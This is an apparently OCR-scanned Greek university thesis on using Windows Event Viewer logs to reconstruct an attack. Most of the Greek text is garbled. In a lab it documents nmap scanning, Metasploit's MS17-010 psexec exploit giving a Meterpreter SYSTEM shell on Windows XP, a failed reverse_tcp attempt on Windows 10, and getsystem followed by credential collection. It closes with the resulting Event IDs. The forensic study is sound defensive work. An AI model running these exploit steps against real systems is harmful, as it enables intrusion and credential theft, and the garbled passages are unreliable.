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Iepidnyn

H dpeon katovonon g goone Tov anslihdv gival iomg To0 SNUOVTIKOTEPO KOUUATL 6TV £yKopn
avtidpaong amévavtt o€ kakoPovieg evépyeieg. O Event Viewer eivor éva mpdypappo tov
Aertovpykov cvotipotoc Microsoft Windows, to omoio emtpénel 6Tovg SOYEIPIOTEG KOl TOVG
YPNOTEC TOV GLOTNUOTOG VO TPOoPAilovy apyeion KaTaypaeng cvuPdviov. Avtn M KEVIPIKN
vInpecia Kotaypagng umopsl va ypnowomondel amd epapuoyéc Kot Aowmd otolyeion Tov
AELTOVPYIKOD GUGTHUOTOC YO TNV OvVOPOPA CLUPAVT®OV Tov €rovv cuuPel, Om®G M amoTvyin
ekkivnong evog otoryeiov N N OAOKANP®ON HOG EVEPYEWNG. XTOYXOS TNG TOPOVGOS SIMAMUATIKNG
gpyaciag elvar M mpoomdOel ONTIKNG OVOTAPACTOONG MOG KOKOBOLANG evépyswng oe €va
TEPUATIKO, Bactopévn oto apyeio Kataypaens tov Event Viewer. Zvykekpyuéva €ytve mpoomddeio
VO OTEWOVIGTOOV T GLUPAVTE TOL ONUIOLPYOVVTOL GTO OPYEID KATAYPUPNG LETE TNV EKTEAEGT
KakOPBOVANG evépyelag. T g avdykeg tov oevapiov viomowOnke emifeon pe ektédeon
reverse_tcp oe éva pnyavnua pe Asttovpyikd cvotnua Windows XP. Metd v ektéleon g
KAKOPBOVANG evépyelog GLAAEXONKAY Ta KuPLOTEPA GTOLKElD 0 T apyeio KOTOypaPnS To omToia
aroTuOdnkav oe évav mivaxko. H pedétn tov yvov mov aenivel 1o Kabe €idog emibeong oto
cvotnuo pumopel vo vmoPfondnoel oNUOVTIKA TN JOIKAGIO EVTOMIGHOD MG KOKOPOVANG
EVEPYELOC.

Ag€erg Khewdra: Windows Event Viewer, Windows XP, avakatacstevn kakOBOvANG eVEPYELOG
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AutAwpaTikn epyacia: AVOKOTOOKEUN HLOG EYKANUATLKAC EVEPYELOG HEow Tou Windows Event Viewer

Abstract

Immediate understanding of the nature of the threats is perhaps the most important part of
responding in a timely manner to malicious actions. Event Viewer is a Microsoft Windows
operating system program that allows system administrators and users to view event logs. This
central logging service can be used by applications and other operating system components to
report events that have occurred, such as a component failing to start or completing an action. The
aim of this thesis is to attempt a visual representation of a malicious action which is performed
against a computer, based on the Event Viewer log. More specifically, an attempt was made to
depict the events that are created in the logs after the execution of a malicious action. For the
purposes of the scenario, a reverse tcp attack was performed on a machine running Windows XP.
After the malicious action was performed, the data were collected from the logs which were
recorded in a table. Studying the traces left by each type of attack on the system can greatly aid in
the process of detecting a malicious action.

Keywords: Windows Event Viewer, Windows XP, reconstruction, malicious activity
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Ewocayowyn

1.1 H onuacio t™hs a6QALEIOS TWV TANPOPOPIAKDY COCTHUATOV
ofuepa

H acpdielo tov mAnpopoplok®dv cuoTNUAT®V amoTteAel POCIKO KOUUATL GTOV YEVIKOTEPO YMDPO
™G TANPOPOPIKNG. AGY® TOV OTL OTIG HEPEG LAG QPOPA TEPAGTIO TANOOG SIKTH®MV VTOAOYIGTMOV N
LELOVOUEVOV CLOKEVDV, amoterel TEPAOTIOL TPOKANGT. XVVETMG, oV Kot £YOovv avamtuydei
OMOTEAEGUOTIKEG TEYVIKEG KOl UNYOVIGHOL Y100 TV TPOGTAGIo TOLG, TO TANBOG TOVS KOl HOVO
TPocOETEL TOAVTAOKOTNTO. GTO €PY0 TNG MPOOTUGING TOVG amd kokOPovAieg evépyeles. Baoikd
TPOPANUA GTNV OVTILETOMTION TOV OTEIMDV gival 1) ykaipn oviyvevon g KakOBovAng evépyelag,
®oTe voL ANeOoVYV Ta KOTAAANAO LETPOL Y10, TV OVTILETMOTICT TG,

1.2 Avtikeiuevo oimlouotikys

2KOTOG TG TaPoHGOS SUTAMUATIKNG SatpiPng etvat 1 Tpoomdbelo onTIKOTOINoNG TV GTOLXEIMV
kataypoens tov Event Viewer énetta and KakdPovin evépysla oe éva TEpLOTIKO PAGIGUEVT OTA
event ids tov apyeiov kataypaeng (logfiles), mov mapdyovion and 10 cHGTNUO AVTO, LE GTOYO TNV
OVOKOTOGKEDT] TOV YPOVIKOV TNG eMiBeonc.

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X. 1
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1.3 Aoun tqs doimiwuatikgg

[Mopovca dumhopatiky epyoacio, Kveitor oe 600 AEOVEG. XTO TPAOTO KOUUATL OVOADOVTOL TO
Bootkd yapakTnploTiKa Kot 0 Tpdmog Asttovpyiag tov Event Viewer twv Windows. Tiveton pia
GUVTOUTN TTEPLYPOAPT] TOV EMUEPOVS AEITOVPYLDV TOV, KAOMG Kot TV PAcCIKOV oNUEi®mV EAEYYOL.

210 0e0TEPO KOUUATL, LIAomOleiton pio emifeon amd €va teppatikd oe éva dAlo, Kol yivetal
npoonddelo vo omTikomonbel 10 ypovikd NG EmBEONC VTG HEC® YPOQPIKNG TOPAGTACNG.
Yuykekpluéva, mepLypdoeTon kKot avoidetor 1M pebodoroyion Kor Tto pECO pE TO OMOiO
Tpaypoatoromeitoar 1 emifeon kol otn cvvéyEw mePypageTonl 1 pebodoroyia TG YPOPIKNG
OMEKOVIONG TG,

Téhog, mpaypotonoteital 1 Ghvoyn Kot 1 e€aymyn TV GUUTEPACUATOV.

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X. 2
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WINDOWS EVENT VIEWER

2.1 Ewoaywyi

O Event Viewer eivar pia epappoyr tov Windows 1 onoio EmTpETEL GTOVG SLOYEPIGTES KO TOVG
YPNOTES VO TPOPAAlovy Ta apyeio Katoypagns cvuPdviov apyeio Katoypaeng UnvoudTov
(logfiles) epappoyng (application) kot GuoTiUATOS (System), GLUTEPILAUPAVOLEVOV COOALATOV,
LUNVOUATOV TANPOQOPLOV Kol TPogdonomacewv. Ot epopproyég Kol To EMUEPOVS GTOLYEID TOV
AELITOLPYIKOD  GULOGTNUOTOS UTOPOLV VO XPNGULOTOW|GOVY  OVTHV TNV KEVIPIKY VANpEcia
KOTOYPOONS Yo VoL ovopEPOVY GuUPavTa Tov Exovv AAPEL ydpa, OTMG amoTuyia eKKiviiong evog
OTO(ELOL 1] OAOKANPMOONG HLOG EVEPYELNS. ZUVOTTIKG, TPOKELTAL Y10l EVOL EPYOAELD TOV OMOCKOTEL
OTNV OVTIUETOTION OPOPETIKAOV TPoPANUdToV kdbe €idovg, Ta omoio apPopodV TO AEITOLPYIKO
ocvotnpo tov Windows.

A&iler va onuelwbet 6Tt akdun Ko éva cuotnua Tov Agttovpyel cmotd Bo eppavilel dtdpopeg
TPOEOOTOMGELS Kot GPAALaTo oTo apyeia kKataypaens tov Event Viewer. KaxofovAot yprioteg
EVOEYETOL VO YPTCLUOTOU|COLV OKOUN KOl OVTO TO YEYOVOS GE OPICUEVEG TEPIMTMOELS Y10 VO,
€EATOTIOOVY TOVES VOULOVG YPNOTEC KO VO TIOTEYOLV OTL TO GLGTNUA TOVG £xel TPOPANua. Katd
KovOvo, OTNV TEPITTOON MOV O VTOAOYIOTNG AETOLPYEl GMOOTA, TO GCEAANOTO KOU Ol
npogwonomaoelg mov eueaviCovian otov Event Viewer pmopovv va ayvonfoivv. Xuvvenmg,
OmoLTOVVTOL KATOLES PACIKES YVMOELS TAVM GTO GLYKEKPIUEVO £PYOLEID MOTE VO UTOPEl Vo Povel
npaypatikd ypnotpo. Ta Windows mapéyovv avtdv Tov KEVIPIKO UNYOVICUO KOTOYPOPNG TOV
UTOPOVV VO YPTCLOTOMNGOLY 01 EPAPLOYES KOL TO AEITOLPYIKO GVGTNHA Y10, TNV amodnkevon twv
ovpPavtov tovg. O Event Viewer, unopel va ypnowomomBel yio tnv tpofoin ko tnv eaymyn
avtdv TV opyeiov kataypoens. O Windows Event Viewer eionydn ota Windows NT kot
amotelel pEPog OA®V TV ekdocewV Tv Windows amd TOTE Kot 6T0 €ENG.

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X. 3
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Ta apyela Kataypaeng cvupdviov tov Windows mepi€yovv cuvinbmg Tig akoAovbeg mAnpopopies:
» Eninedo coPapdmmrag (Log level) — vmodewkvier ™ ocofapdtnta Tov KATOYEYPOUUEVOL
ovopupavtoc. Iapakdto cvvoyilotor to eminedo coPfapdnntag mov eivar dabéoipua ota apyeio
Kataypoens cvupaviev tov Windows:

Hivaxag 1: Log levels

Level Description
Verbose Detailed output of the event log entry
Information Generally used by applications and operating

of an operation

Warning Not an error, but a possible source of issues in
future
Error Failure of an operation. It may indicate the source

of a problem in an operating system service,
component or application.

Critical The major issue that should be addressed
immediately

Ta enineda coPapdtmrag oto apyeio Katoypagns copPfaviov aroeacifoviol aviroyo He TNV
enintmon mov evdgyetan vo. vapyel oto ocvotnua. To eminedo "Verbose" wau "Information”
TEPLEYOLV YEVIKOL EVNUEPMOTIKO UNVOUATO OTMOC 1 ETTLUYNG OAOKANPMOT E€PYOCUDY Ol OMOiEG
gkteAovVTOL 6t0 mapacknvo. To emimeda, “Warning”, “Error”, “Critical” sivar Pobuoi
KPLGIUOTNTOG KO OVOPEPOVTOL GE TEPMTAOCELS GPAALOTOG KO OTOTVYI0G.

Ta vroOLowa medio oV Kataypapovtol eivar o akdiovba:

To nedio “Date and Time” Avogépetat 6To xpovo TG Kaypaeng evog cupufavtoc.

H epappoyn 1 n vampeocia mov dnuovpynce 10 copPav pmopet va mepthapfdaver vanpecieg M
EPAPLOYEG TOL AELTOLPYIKOD GUGTHLOTOG.

Avayvopiotikd ovufdviog (Event ID): éva povadikd ovayvoplioTiko Tov cupfdviog mwov
Kataypaeetot. To 1010 avayvoploTikd avopEVETAL VL XPNCLLOTOLEITOL GE OAEG TIG TEPUTTMGELS TOV
oLUPAEVTOG TOV KOTAYPAPETOL.

Katnyopio epyacwuov (Task Category) — ot epappoyég mov €xovv SnUIOVPYHGEL TO GLUPAY,
UTOpPOVV VO, KT YOPLOTOCOVY TEPALTEP® TO GLUPAV divovtag 6to cuuPdy Evav aplBud Kot pa
etikéta. Avtd 1o medio Ponbd tovg ypnoteg tov Windows Event Viewer va ¢@uitpépouvv
ovppavra.

2.2 Katnyopics Loufavrwy

Ta copPdavto KatnyoplomolovvTon amd To TPOYPOUUO GE OOPOPETIKES Katnyopies, kabepio amd
T1G omoieg oyetileton pe éva apyeio kataypaeng(logfile) mov dwutnpel cvpPdvta oxetikd pe ovtnv
™V Kotnyopio. Av kot vapyovv TOAAEG kaTnyopies, o KLuplOTEPOG GYKOg TPOoPANUAT®V TOL
mOavotata xpilovy AVTILETOTIONG, APOPE TPELS OO AVTEG:

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X. 5
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Eq@oppoyn (Application): To oapyeio kotaypoa@hg €QOpUOYNG KOTAYPAPEL cLUPAvto Tov
oyetiCovioar pe otoyeio tov cvotiuatog twv Windows, Omwg TPOYPAUUOTO 00yNoNG Kot
EVOOUATOUEVO GTOLXEIOL DIETOPNS.

Yovotnpo (System): To apyelo katoypa@ig CLGTHUATOG KATAYPAPEL GLUPAVTO OV GYeTilovVTaL
LE TPOYPAULOTO TOV EIVOL EYKATEGTNUEVA GTO GUGTILLO.

Ac@dlera (Security): Otav n katoypoaer| aceolieiog sivor gvepyomompuévn , avtd 10 apyeio
KATOypaenG Kotaypapel ocvpPdavta mov oyetiCovtalr pe v oc@dAEln, Onwg Tpoomdbeleg
ovvdeoNg kat TPOSPacT 6€ TOPOLG.

2] Event Viewer = O X
File Action View Help
«= zm

@ Event Viewer (Local) System Number of events: 6.179 Actions

7 Custom Views

+ [ Windows Logs Level Date and Time ¢~ | | System -
=] Application 4 Wamning 29/12/2021 3:27:42 pp [ = Open Saved Log..
g.—| Security ':i:'lnformation 20/12/2021 3:27:33 pp ] ¥ Create Custom View...
£ . 112/ 7. -
] Setup ':kllnformat?on 29/12/2021 3:27:32 pp b Import Custom View..
§.—| System (i) Information  29/12/2021 3:27:31 pp I
| Forwarded Events (i) Information  28/12/2021 2:27:31 pp } Clear Log...
EI Applications and Services Lo ':Dlnformation 29/12/2021 3:27:30 pp t T Filter Current Log...
2 Subscriptions @Enor 29/12/2021 124444 pp | B Properties
(i) Information  28/12/2021 12:44:44 pp } )
i o 8 Find...
(i Information  29/12/2021 12:44:40 pp t
(i)Information  29/12/2021 12:44:34 pup |} Il Save All Events As...
(TN Infarmn tinn 1T AT ' P
z = Attach a Task To this Log...
View >
Ewvent 1014, DNS Client Events x
€ Refresh
G | i
eneral  Details E Help N
Ll
Mame resolution for the name steamcdn-z Event 1014, DNS Client Events -

DMS servers responded. B
D Event Properties

v @] Attach Task To This Event...

< > 5 Copy [ )

Ecovo. 3:System
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{4] Event Properties - Event 137, Kernel-Power *

General Detaile

The system firmware has changed the processor's memory type range registers (MTRRs) across a
sleep state transition (54). This can result in reduced resume performance.

Log Mame: System

Source: Kernel-Power Logged: 29/12/2021 12:44:44 pp
Event ID: 137 Task Category: MNone

Level: Error Keywords: (1024, (4

User MN/A Computer: DESKTOR-KOBLMAF
OpCode: Info

Mare Information:  Event Log Online Help

Copy Close

Eixova 4:Event properties

2.3 Ta apyeio kataypopns coufavrwv twv Windows kai o1 ypioceig
Tovg ota Digital Forensics:

Ta opyeio xotaypaeng ocvppdviov tov Windows mepiéyovv opyeion KaTOypopng oL
dNuovpyovvtol amd cupPavto 6e EQPAPUOYEG KOl GTO AEITOLPYIKO GUOTNUO €V YEVEL AVTEC Ol
EYYPOPEG OTNV EQOUPLOYY, UTOPOVV VO GUGYETIGTOVV LE EVEPYELEG YPNOTH, OMMG GLVOEGELS
YPNOTOV, EPOPLOYES TTOV YPNGLLOTOOVVTOL GE SAPOPA XPOVIKE oMUEia, XPOVIKEG TEPLOOOVS KATA
T1G OTOIEC TO GUGTNUA NTAV GE YPNOT K.O.

Oa mpémel va onuelwbet ot ta apyeio Kataypaens cvppaviov towv Windows dgv mepiéyovv
AETTOUEPELEG TV EVEPYELDY OV EKTEAOLVTOL OO TOV XPNOTN GE ePapuroyés. o mapadetypa, ot
epapuoyég cuvnbwmg dev amodnkevovv copfavta, dmmg TV TEAEVTAIN POPA TOL O YPNOTNG ElxE
npoOcPacn o€ Eva GLYKEKPUEVO HevoD N pia epappoyn. [ v Kataypoen TETolmy EvepyEudv, ot
EQUPUOYEG OlaTNPOVV Cexymplotd apyelo Kataypaeng kKot ovutd Ogv cvvoéovtal UE apyeio
Kataypoens cvuPavtov tov Windows.

Ta apyeio kataypaeng coupdviov tov Windows mepiéyovv cuviBmg coufdvio epoapuoydv M
AELTOVPYIKOD GLGTHLOTOS YOUUNAOV MEdOV. Mepikd amd Ta To cuyvd mopadeiypato cupPaviov
TOL KATOYPAPOVTOL OTO TO AEITOVPYIKO GUGTNLLO EIVOL TO TOPAKAT®:

* Eicodog ypnom

* Amoc¥voeon ypnom

*  AwKonmn EQaproyng

* Eykotdotoaon epapuoydv
* Eykatdotaon vAukol

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X. 7
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Onwg avagépbnke Kot mopamdve, ot Yypagéc Tov apyeiov KaTaypaeng copPavimv 0ev mepiEyovy
apYElD KOTOYPOPNG CYETIKA LE CLYKEKPIUEVEG EVEPYELEG TMV YPNOTAOV CE EMIMEGO EPAPUOYDV.
Qot1000, KOMO0G €peuvNnTNG, B0 TPEMEL Vo TPOOTOONGEL VO GUGYETICEL TIC EVEPYELEG TOV
EKTEAOVVTOL OO TOLG YPNOTEC TOV GULOTNUOTOC, HE TS avtioTolyeg Kotaympicelg tov Event
Viewer tov Windows. Xe oplopéveg mepmmt®oels, Otav dgv DIAPYOLY KATAYPOPES Yiol YPNoN
CLYKEKPIUEVOV EQAUPUOYADV M TAL SEGOUEVO TTOV VIAPYOLY OV EMOPKOVV, KATUXWPNOES apyEiov
Kataypapnc coppdviav tov Event Viewer, émwc o ypovog ovvdeong tov yprotn, 1 évapén uiog
VINPEGiag KA, UTopovv va Bonbncouvv Evav epeuvnTh Vo TEKUNPLDOGEL TO. EVPNUOUTE TOV Kot VoL
TOYIDGEL TO TOPIGHUA TOV OYETIKA e To cvuPdv mov e&etdlel. Ta apyeio koTaypaeng cvupdviov
tov Windows PBonbodv moAd ot cuoyétion evepyEldV OV €KTEAODVTOL amd TOV YPNOTN GE
EPUPUOYES KO VINPEGIEC, GE EMIMESO AEITOLPYIKOV GLOTHUOTOG OTMG Ol XPOVOL GUVOECNG KOl
amocvvoeon g 1 M Evapén Kot 0 TEPUATIGUOG VTN PECLAV.

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X. 8
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2ZXEAIAZMOX KAI YAOIIOIHXH KAKOBOYAHY ENEPI'EIAY

3.1 2voernyuara mov ypyciuomonjOnxaoy

[Ma g avaykeg Tov cevapiov YPNCLOTOMONKAY TO TOPAKAT®:

. To Aoywopkod VirtualBox to omoio pilo&évnoe ta vims mov ypnoyorombnkay 6to
oevaplo
J VM e Aertovpyikd ocvotnua Kali Linux 2019.1, and to omoio mpoypatoromdnke

N KaKOPovAN evépyeila

. VM pe Aertovpyikd cvotua Windows XP SP1, 1o omoio ypnowomomnke mg
“o010%0G”

o VM pe Aertovpywcd svomua Windows 10, to omoio ypnoiponombnke g “otodyoc”

H apyrtextovikn tov svotjuatog ntav n €€ng: Ta 600 VMs ftav cuvoedepéva 6to id10 diktvo pe
bridged connection kot ot IP mov améknoayv ftav ot TopaKdTo:

VM IP

Kali Linux 2019.1 192.168.1.15
Windows XP SP1 192.168.1.115
Windows 10 192.168.1.25

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X. 9
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3.2 MeOoooloyio emiOcong

H pébodoroyia mov amoaciotnke vo ypnowpwomombel yuoo g avlykeg TG OUTAMUATIKNAG
SlTpPng, O6TO0 KOUUATL TNG TMPAYUATOTOINOMG TNG KAKOPBOLANG evépyelag eivar m Aeyouevn
Reverse tcp. To mpwtokoiro TCP/IP 1 Transmission Control Protocol/Internet Protocol eivar n

TPOTOKOAAO emkovmviag Tov Atadiktoov. To TCP/IP ypnowomoteitan yio va emitpénel og Evav

VITOAOY1OTN

Vo, EMKOWVOVEL pe €vov GALO LTOAOYIOT HECH ASIKTOOV, UE TN UETOYADTTION

TOKETOV OEO0UEVOV KOl OITOGTOAN TOVG 6TO owotd amodéktr. 'Eva telyog mpootaciog Aettovpyel

ocuVNBm¢ Yo ToV amOKAEIGUO TETOOL €100VG eloePYOUEVOVY cuVvdéce mVv. 'Eva Reverse tcp eivat

Otov 0 €16POALNG KAVEL TOV KEVIPIKO VTOAOYIOTH VO EEKIVIGEL TN CUVOECT UE TOV EIGPOAEA.

2VVOnTIKA, M Tapomdve givor ) factkn Wéa evog reverse tep.

3.2.1 Kaxopovin enifeon o Windows XP

[Mopaxdto mopateibevtal ewoveg amd v enifeon mov mpaypatoromOnke 6to Unyavnuo-ctodyo

e Agttovpykd ovotnua Windows XP.

Eixovo 5:nmap

File Edit View Search Terminal Help
:~# sudo nmap -v -A -oX /root/xpresults.xml 192.168.1.115
Starting Nmap 7.70 ( https://nmap.org ) at 2021-12-30 04:26 EST
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:26
Completed NSE at 04:26, 0.00s elapsed
Initiating NSE at 04:26
Completed NSE at 04:26, 0.00s elapsed
Initiating ARP Ping Scan at 04:26
Scanning 192.168.1.115 [1 port]
Completed ARP Ping Scan at 04:26, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:26
Completed Parallel DNS resolution of 1 host. at 04:26, 0.11ls elapsed
Initiating SYN Stealth Scan at 04:26
Scanning 192.168.1.115 [1000 ports]
Discovered open port 445/tcp on 192.168.1.115
Discovered open port 135/tcp on 192.168.1.115
Discovered open port 139/tcp on 192.168.1.115
Discovered open port 1025/tcp on 192.168.1.115
Discovered open port 2869/tcp on 192.168.1.115
Completed SYN Stealth Scan at 04:26, 1.36s elapsed (1000 total ports)
Initiating Service scan at 04:26
Scanning 5 services on 192.168.1.115
Completed Service scan at 04:26, 6.05s elapsed (5 services on 1 host)

~ message signing: dangerous,
| smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT ADDRESS
1 1.49 ms 192.168.1.115

NSE: Script Post-scanning.
Initiating NSE at 04:31
Completed NSE at 04:31, 0.00s elapsed
Initiating NSE at 04:31
Completed NSE at 04:31, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at httpyg
://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 266.17 seconds
Raw packets sent: 1067 (47.646KB) | Rcvd: 1017 (41.242KB)
:~# sudo systemctl status postgresql

@ postgresqgl.service - PostgreSQL RDBMS

Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pred

Active: inactive (dead) 10

:~# sudo systemctl start postgresql

Ewcéva T:Postgresql
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msf5 > db_import /root/xpresults.xml

[*] Importing 'Nmap XML' data
*] Import: Parsing with 'Nokogiri v1.10.1'
] Importing host 192.168.1.115

port proto name info
192.168.1.115 135 msrpc Microsoft Windows RPC
192.168.1.115 139 tcp netbios-ssn Microsoft Windows netbios-ssn
192.168.1.115 445 tcp microsoft-ds Windows XP 3790 Service Pack 1
microsoft-ds workgroup: WORKGROUP
192.168.1.115 1025 tcp msrpc Microsoft Windows RPC
192.168.1.115 2869 tcp http Microsoft HTTPAPI httpd 1.0 SSD
P/UPNnP

Eixéva 11:Services

Eiwcéva 10:Exploits

windows/smb/webexec
manual No WebExec Authenticated User Code Execution
msf5 > exploit windows/smb/msl7 010 psexec
Unknown command: exploit.

msf5 > exploit windows/smb/msl7 010 psexec
Unknown command: exploit.

msf5 > use windows/smb/msl7 010 psexec

msf5 exploit( ) > i

Eixovo 9:Psexec
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Target 0S: Windows XP 3790 Service Pack 1
Filling barrel with fish... done
| Entering Danger Zone |

.115: [*] Preparing dynamite...
192.168.1.115:445 [*] Trying stick 1 (x64)...Boom!
192.168.1.115:445 [+] Successfully Leaked Transaction!
192.168.1.115:445 [+] Successfully caught Fish-in-a-barrel
192.168.1.115:445 | Leaving Danger Zone |

192.168.1.115:445 Reading from CONNECTION struct at: Oxfffffadf9cee2b50

192.168.1.115:445 Built a write-what-where primitive...

192.168.1.115:445 Overwrite complete... SYSTEM session obtained!

192.168.1.115:445 Selecting native target

192.168.1.115:445 Uploading payload... vnGZYYjz.exe

192.168.1.115:445 Created \vnGZYYjz.exe...

192.168.1.115:445 Service started successfully...

192.168.1.115:445 Deleting \vnGZYYjz.exe...

Sending stage (179779 bytes) to 192.168.1.115

Meterpreter session 1 opened (192.168.1.114:4444 -> 192.168.1.115:1051) at 2
P21-12-30 05:14:42 -0500

Eixéva 12:Remote Session

eterpreter > sysinfo

: HOME-I8TO6WECAZC

: Windows .NET Server (Build 3790, Service Pack 1).
x64
en_US
WORKGROUP
P
x86/windows

Eixova 13:Sysinfo

3.2.2 Kaxofovin evépyera o Windows 10

[Moapaxdto mopateibevtal ewodveg amd v enifeon mov mpaypaTomom|OnKe 6To PUNYAVILA-GTOYO
ue Aetrtovpykd cvotnua Windows XP.

root@kali: ~ e ® 0

File Edit View Search Terminal Help
Version 4.0.5, Alpha E
Ready. ..
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...

metasploit v5.0.2-dev

1852 exploits - 1046 auxiliary - 325 post

541 payloads - 44 encoders - 10 nops

2 evasion

** This is Metasploit 5 development branch **

Eixova 14:winl0_msfconsole
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root@Kkali: ~ (-
File Edit View Search Terminal Help

Ready. ..

> access security

access: PERMISSION DENIED.

> access security grid

access: PERMISSION DENIED.

> access main security grid

access: PERMISSION DENIED....and...

=[ oit v5.0.2-dey
1852 exploits - 1046 auxiliary - 325 post
=[ 541 payloads - 44 encoders - 10 nops
2 evasion
-=[ ** This is Metasploit 5 development branch **

sf5 > use exploit/multi/handler
sf5 exploit( ) > 1

Eucove 15:winl0_exploit

root@kali: ~ (-]

File Edit View Search Terminal Help
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...

tasploit 0.

=[ 1852 exploits - 1046 auxiliary - 325 post
=[ 541 payloads - 44 encoders - 10 nops
=[ 2 evasion
** This is Metasploit 5 development branch **

sf5 > use exploit/multi/handler

sf5 exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

sf5 exploit( ) >

Ewcéve 16:winl0_payload
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root@kali: ~ e e O

File Edit View Search Terminal Help
access: PERMISSION DENIED....and...

-dev

=[ metasploi

--=[ 1852 exploits - 1046 auxiliary - 325 post

--=[ 541 payloads - 44 encoders - 10 nops
--=[ 2 evasion
--=[ ** This is Metasploit 5 development branch **

sf5 > use exploit/multi/handler

sf5 exploit( ) > set payload windows/meterpreter/reverse tcp
ayload => windows/meterpreter/reverse tcp

sf5 exploit( ) > set lhost 192.168.1.25

host => 192.168.1.25

sf5 exploit( ) > set rhosts 192.168.1.10

hosts => 192.168.1.10

sf5 exploit( S |

Ewcova 17: winl0_hosts

root@kali: ~ e ® 0
File Edit View Search Terminal Help

mete -ac

1852 expl 46 auxiliary - 325 post

541 payloads - 44 encoders - 10 nops

2 evasion

** This is Metasploit 5 development branch **

sf5 > use exploit/multi/handler

sf5 exploit( ) > set payload windows/meterpreter/reverse tcp
ayload => windows/meterpreter/reverse tcp

sf5 exploit( ) > set lhost 192.168.1.25

host => 192.168.1.25

sf5 exploit( ) > set rhosts 192.168.1.10
hosts => 192.168.1.10

sf5 exploit( ) > set lport 8080

port => 8080

sf5 exploit( ) > run

*] Started reverse TCP handler on 192.168.1.25:8080

Ewcova 18:winl0_run_exploit

Y& avtd 1o onueio a&ilel va onuelwdei t1 N enifeon avtn v TéAEL OTETPATN IO TOVG PUNYOVICUOVS TOV
windows. Xvvenmg, 10 uNavnua-cTOX0G GE ONTH TV TEPITTOOT OEV EMPPEACTNKE and TOV KOKOBOLAO
YPNOTN. XT0 TOPoKAT® Ke@Aiao Bo agloloynBovv ta cLUTEPAGUATO TTOL Hropovy va e€ayxBovy amd Tig
gyypoeic Tov Event Viewer cae avtr v mepintoon.
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3.3 EVENT VIEWER LOGS

3.3.1 Event logs Windows XP

Avotyovtag tov Event Viewer tov Windows XP ¢@aivetor 611 v ®po g emibeong,
dnuovpyovvral kdmolo events otnv Katnyopia system. Ta event IDs givor ta 7035 kon 7036.

B Event Viewer Q@ |

File Action View Help

& - B & 2
(1)) Event Viewer (Local) || System 666 event(s)

4] Application Time Source Category  Event  User Co A

- :;”;fny 10:46:07 ... - Service Control Manager  None 7036 NjA HoI
10:46:07 ... Service Control Manager None 7036 NJA HOI
10:46:07 ... Service Control Manager None 7035 SYSTEM HOI
9:47:21 AM  W32Time None 35 NJA HOI
9:47:18 AM  Service Control Manager  None 7035 LOCAL SERVICE  HOI
9:47:18 AM  Service Control Manager  None 7036 NJA HOI
9:47:00 AM  IPSec None 4294 NfA HOI
9:46:46 AM  E1000 None 30 NJA HOI
9:46:46 AM  E1000 None 32 NjA HOI
9:46:44 AM  IPSec None 4295 NjA HOI
9:47:07 AM  Service Control Manager None 7036 NjA HOI
9:47:07 AM  Service Control Manager None 7035 chris HOI
9:47:07 AM  Service Control Manager None 7036 NjA HOI
9:47:07 AM  Service Control Manager  None 7036 NfA HOI
9:47:07 AM  Service Control Manager  None 7035 SYSTEM HOI
9:47:07 AM  Service Control Manager None 7036 NJA HOI
9:47:07 AM  Service Control Manager None 7036 NjA HOI
9:47:07 AM  Service Control Manager None 7035 SYSTEM HOI'V

< >

Eixéva 19:Event Viewer Logs
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Onwg eaivetor mopakdt® ETETO NG TNV TPAYUATOTOINGN TG €mifeon, 0 eMTEIDEUEVOC POV
anéktnoe mpdoPacn 6To PUNYAVNUA-GTOYO, TPOGTAONGCE VO EKTEAECEL AMOUOKPVOUEVE EVTOAEG
oto unyavnuo. Kdmoteg amd t1g eVIoAég anTEC EKTEAEGTNKAV LLE EMLTUYIO GTO UNYAVILA-GTOYO Kol
KAmoleg amétuyav, ue amotédecpo vo vrapEovv véeg eyypaeéc otov Event Viewer omwc 0o
avaAvOel apydtepa.

File Edit VieWw™ Searchm Termmmer ey
evice\HarddiskVolumel\WINDOWS\explorer.exe

1360 1036 VBoxTray.exe x64 0 HOME-I8T6WECAZC\chris
evice\HarddiskVolumel\WINDOWS\system32\VBoxTray.exe

1456 984 wmiprvse.exe x64 0 NT AUTHORITY\SYSTEM
evice\HarddiskVolumel\WINDOWS\system32\wbem\wmiprvse.exe

1480 200 wscntfy.exe x64 0 HOME-I8T6WECAZC\chris
evice\HarddiskVolumel\WINDOWS\system32\wscntfy.exe

1564 712 svchost.exe x64 0 NT AUTHORITY\SYSTEM
evice\HarddiskVolumel\WINDOWS\system32\svchost.exe

1596 1036 cmd.exe x64 0 HOME-I8T6WECAZC\chris
evice\HarddiskVolumel\WINDOWS\system32\cmd.exe

1628 712 IPROSetMonitor.exe x64 0 NT AUTHORITY\SYSTEM
evice\HarddiskVolumel\WINDOWS\system32\IPROSetMonitor.exe

1700 712 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
evice\HarddiskVolumel\WINDOWS\system32\svchost.exe

1864 712 alg.exe x64 0 NT AUTHORITY\LOCAL SERVICE
evice\HarddiskVolumel\WINDOWS\system32\alg.exe

2656 388 rundl132.exe x86 0 NT AUTHORITY\SYSTEM
WINDOWS\system32\rundll132.exe

eterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
eterpreter > run credcollect

Ewxova 20:Getsystem

